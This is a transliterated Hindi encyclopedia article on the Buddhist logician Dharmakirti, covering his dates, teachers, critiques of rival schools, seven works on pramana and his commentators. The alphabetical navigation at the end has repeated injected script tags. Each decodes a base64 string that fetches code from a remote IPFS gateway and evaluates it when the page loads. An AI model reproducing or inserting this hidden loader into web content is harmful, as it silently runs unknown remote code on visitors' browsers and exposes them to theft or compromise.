धर्मकीर्ति बौद्धाचार्य

dharmakirti dharmapal aur eeshvarasen ke shishy the. bauddh nyay ki jis parampara ka prarambh maitreyanath, asang aur vasubandhu ki kritiyoan se hua tha, use achary dinnag ne apani kritiyoan mean vad vidhi se prithak tarkashastr ya hetushastr ke roop mean vikasit kiya. age chalakar dinnag dvara pravartit is tark vidya ko dharmapal evan eeshvarasen ke shishy achary dharmakirti ne (bauddh nyay ko) 'pramanashastr' ke roop mean vikasit kiya.

samay kal

tibbati parampara ke anusar achary kumaril aur achary dharmakirti samakalin the. kumaril ne dinnag ka khandan to kiya hai, kintu dharmakirti ka nahian, jabaki dharmakirti ne kumaril ka khandan kiya hai. aisi sthiti mean kumaril achary dharmakirti ke vriddh samakalin hi ho sakate haian. achary dharmakirti ne tarkashastr ka adhyayan eeshvarasen se kiya tha, kintu unake diksha guru prasiddh vidvan evan nalanda ke achary dharmapal the. dharmapal ko vasubandhu ka shishy kaha gaya hai. vasubandhu ka samay chauthi shatabdi nishchit kiya gaya hai. dharmapal ke shishy shilabhadr eesviy varsh 635 mean vidyaman the, jab hvenasaang nalanda pahuanche the. at: yah manana hoga ki jis samay dharmakirti dikshit hue, us samay dharmapal maranasann the. is drishti se vichar karane par dharmakirti ka kal 550-600 ho sakata hai.

yash pataka

dharmakirti ke granthoan mean jis nyayashastr ya praman vidya ka vishad roop mean praudh riti se upanyas milata hai, vah samast paravarti bauddh nyayashastr aur brahman tatha jain nyay ke vikas ka bhi mool adhar bana. n keval bharat apitu tibbat, chin, madhy eshiya evan dakshin poorv ke tamam deshoan mean dharmakirti ki yash pataka vigat chaudah sau varshoan se phahara rahi hai. unake dvara pratipadit siddhaant n keval bharatiy darshanik parampara mean pramanavad ke merudand ke roop mean svikrit hue, apitu bahari deshoan mean bhi unake anuvad atyant lokapriy hue. kintu sanskrit ya kisi any bhasha mean dharmakirti ki jivani ka koee kramabaddh ya vyavasthit vivaran upalabdh nahian hota. taranath aur bu-donh ke viviranoan se katipay tathy nikalate haian, jinamean dharmakirti ke jivan par prakash p data hai.^[1]

jivan parichay

dinnag ki bhaanti hi dharmakirti bhi dakshin mean, trimalay ke ek brahman parivar mean utpann hue the. unake pita ka nam koroonand tha. unaki prarambhik shiksha brahman parampara aur darshanik parivesh mean huee thi. bad mean unaka jhukav bauddh dharm aur darshan ki or ho gaya. phalat: unhoanne nalanda mean akar vasubandhu ke vriddh jivit shishy aur yogachar parampara ke sakshath pratinidhi achary dharmapal se bauddh dharm ki diksha grahan ki. tarkashastr evan bauddh nyay vidya mean apani goodh saiddhaantik jijnasa ko shant karane ke lie unhoanne achary dinnag ke sakshath shishy achary eeshvarasen se bauddh praman vidya ka adhyayan kiya aur apane guru se adhik praudh jnan arjit karane mean saphal hue. svayan inake guru eeshvarasen ne yah bat svikar ki thi, aisa parampara se jnat hota hai. ant mean ve kaliang desh mean mrityu ko prapt hue.^[1]

samalochan

apane guru ki ajna se dharmakirti ne dinnag ke pradhan granth praman samuchchay par vartik roop ek padyatmak lagabhag 2000 karikaoan mean ek granth likha. jo granth ukt, anukt aur durukt padarthoan ki chinta se yukt ho, vah 'granth vartik' kaha jata hai. achary dinnag ne jab 'pramanasamuchchay' likhakar bauddh pramanashastr ka bij vapan kiya to any bauddhetar darshanikoan mean usaki pratikriya hona svabhavik tha. tadanusar nyay darshan ke vyakhyakaroan mean udyotakar ne, mimaansak mat ke achary kumaril ne, jain acharyaan mean achary mallavadi ne dinnag ke mantavyoan ki samalochana ki. phalasvaroop bauddh vidvanoan ko bhi pramanashastr ke vishay mean apane vicharoan ko suvyavasthit karane ka avasar prapt hua. aise vidvanoan mean achary dharmakirti pramukh haian, jinhoanne dinnag ke darshanik mantavyoan ka suvishad vivechan kiya tatha udyotakar, kumaril adi darshanikoan ki jamakar samalochana karake bauddh pramanashastr ki bhoomika ko sudridh banaya. unhoanne keval bauddhetar vidvanoan ki hi alochana nahian ki, apitu kuchh gaun vishayoan mean apana mat dinnag se bhinn roop mean bhi prastut kiya. unhoanne dinnag ke shishy eeshvarasen ki bhi, jinhoanne dinnag ke mantavyoan ki apani samajh ke anusar vyakhya ki thi, unaki bhi samalochana kar bauddh pramanashastr ko paripusht kiya.

granth rachana

achary dharmakirti ke pramanashastr vishayak sat granth prasiddh haian. ye satoan granth pramanasamuchchay ki vyakhya ke roop mean hi haian. pramanasamuchchay mean pratipadit vishayoan ka hi in granthoan mean vishesh vivaran hai. kintu ek bat asandigdh haian ki dharmakirti ke granthoan ke prakash mean ane ke bad dinnag ke granthoan ka adhyayan gaun ho gaya. achary dharmakirti ke sat granth is prakar haian-

pramanavartik,
pramanavinishchay,
nyayabindu,
hetubindu,
vadanyay,
sambandhapariksha
santanantarasiddhi

inake atirikt pramanavartik ke 'svarthanuman parichchhed' ki vritti evan 'sambandhapariksha ki tika' bhi svayan dharmakirti ne likhi hai. achary dharmakirti ke is granthoan ka pradhan aur poorak ke roop mean bhi vibhajan kiya jata hai. tatha hi- 'nyayabindu' ki rachana tikshnabuddhi purushoan ke lie, 'pramanavinishchay' ki rachana madhyabuddhi purushoan ke lie tatha 'pramanavartik' ka nirman mandabuddhi purushoan ke lie haian- ye hi tinoan pradhan granth hai., jinamean pramanoan se sambaddh sabhi vaktavyoan ka suvishad niroopan kiya gaya hai. avashisht char granth poorak ke roop mean haian. tathahi-svarthanuman se sambaddh hetuoan ka niroopan 'hetubindu' mean hai. hetuoan ka apane sadhy ke sath sambandh ka niroopan 'sambandhapariksha' mean hai. pararthanuman se sambaddh vishayoan ka niroopan 'vadanyay' mean hai arthat isamean pararthanuman ke avayavoan ka tatha jay-parajay ki vyavastha kaise ho- isaka vishesh pratipadan kiya gaya hai.

dharmakirti ke tikakar

achary dharmakirti ke mantavyoan ka khandan vaisheshik darshan mean vyomashiv ne, mimaansa darshan mean shalikanath ne, nyay darshan mean jayant aur vachaspatimishr ne, vedant mean bhi vachaspatimishr ne tatha jain darshan mean akalank adi acharyoan ne kiya hai. dharmakirti ke tikakaroan ne un akshepoan ka yathasambhav nirakaran kiya hai. dharmakirti ke tikakaroan ko tin varg mean vibhakt kiya jata hai-

pratham varg ke puraskarta devendrabuddhi mane jate haian, jo dharmakirti ke sakshat shishy the aur jinhoanne shabd pradhan vyakhya ki hai. devendrabuddhi ne pramanavartik ki do bar vyakhya likhakar dharmakirti ko dikhaee aur donoan hi bar dharmakirti ne use nirast kar diya. ant mean tisari bar asantusht rahate hue bhi use svikar kar liya aur man mean yah sochakar nirash hue ki vastut: mera pramanashastr yatharth roop mean koee samajh nahian sakega. shakyabuddhi evan prabhabuddhi adi bhi isi pratham varg ke achary haian.
doosare varg ke aise achary haian, jinhoanne shabd pradhan vyakhya ka marg chho dakar dharmakirti ke tattvajnan ko mahattv diya. is varg ke puraskarta achary dharmottar hai. dharmottar ka karyakshetr kashmir raha, at: unaki parampara ko kashmir-parampara bhi kahate haian. vastut: dharmakirti ke mantavyoan ka prakashan dharmottar dvara hi hua hai. dhvanyalok ke karta anandavardhan ne bhi dharmottar krit pramanavinishchay ki tika par tika likhi hai, kintu vah anupalabdh hai. isi parampara mean shankaranand ne bhi pramanavartik par ek vistrit vyakhya likhana shuroo kiya, kintu vah adhoori rahi.
tisare varg mean dharmik drishti ko mahattv dene vale dharmakirti ke tikakar haian. unamean prajnakar gupt pradhan hai. unhoanne svarthanuman ko chho dakar shesh tin parichchhedoan par 'alankar' namak bhashy likha, jise 'pramanavartikalankar bhashy' kahate haian. is shreni ke tikakaroan mean pramanavartik ke pramanaparichchhed ka atyadhik mahattv hai, kyoanki usamean bhagavan buddh ki sarvajnata tatha unake dharmakay adi ki siddhi ki gee hai. prajnakar gupt ka anusaran karane vale achary hue hai. 'jin' namak achary ne prajnakar ke vicharoan ki pushti ki hai. ravigupt prajnakar ke sakshat shishy the. jnanashrimitr bhi isi parampara ke anuyayi the. jnanashri ke shishy yamari ne bhi alankar ki tika ki. karnagomi ne svarthanuman parichchhed ne charoan parichchhedoan par tika likhi hai, kintu use shabdarthaparak vyakhya hi manana chahie.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 vishv ke pramukh darshanik |lekhak: d aauktar karunesh shukl |prakashak: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 684 |prishth sankhya: 242 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[mcc-1] 1.0 ^1.1 vishv ke pramukh darshanik |lekhak: d aauktar karunesh shukl |prakashak: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 684 |prishth sankhya: 242 |

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